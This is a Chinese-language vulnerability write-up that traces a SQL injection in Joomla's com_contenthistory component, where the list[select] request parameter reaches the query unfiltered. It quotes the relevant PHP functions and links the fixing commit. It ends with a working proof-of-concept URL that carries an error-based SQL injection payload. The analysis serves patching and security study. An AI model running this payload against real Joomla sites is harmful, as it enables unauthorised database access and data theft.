出漏洞的页面在/administrator/components/com_contenthistory/models/history.php
原因是populateState 函数没有对 list.select 进行过滤。

漏洞分析

首先看一下/administrator/components/com_contenthistory/models/history.php文件中的getListQuery()函数,大概在304行左右:

protected function getListQuery()
{
    // Create a new query object.
    $db = $this->getDbo();
    $query = $db->getQuery(true);

    // Select the required fields from the table.
    $query->select(
        $this->getState(
            'list.select',
            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
        )
    )

发现调用了getState()函数,继续跟进getState()函数,这个函数的内容位于/libraries/legacy/model/legacy.php中,大概在434行左右:

public function getState($property = null, $default = null)
{
    if (!$this->__state_set)
    {
        // Protected method to auto-populate the model state.
        $this->populateState();

        // Set the model state set flag to true.
        $this->__state_set = true;
    }

    return $property === null ? $this->state : $this->state->get($property, $default);
}

发现调用了populateState()函数,继续跟进,在/administrator/components/com_contenthistory/models/history.php 内,发现做了一些赋值操作,都是强制为integer类型,但是最后可以看到调用了父类的pipulateState函数,继续跟进去,在libraries/legacy/model/list.php中,大概在482行附近。发现这个继续调用了getUserStateFromRequest()函数,这个函数主要是讲GET和POST中得到的list[]变量赋值到$list中,并且指定了类型为array(),继续跟进后,发现没有处理list[select]的逻辑。
从这里看看补丁patch的内容:https://github.com/joomla/joomla-cms/commit/dca641f67e8e341bf0ef74f775a5e81ad3ccf384

发现switch...case的位置没有处理select的逻辑,导致直接进入了default的部分,紧接着$this->setState('list.'.$name,$value)赋值给Model属性,这里赋值的是未过滤处理的值。

这样漏洞的问题就显而易见了,在history.php中的getListQuery函数中,我们可以控制getState('list.select')的部分。
构造有效的POC如下,其中的list[ordering]=是个坑,为了使将原SQL中的order by字段清空,如果不清空的话会得到Unkown column 'Array'的问题,各位自己试试就明白了。
POC如下:

/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))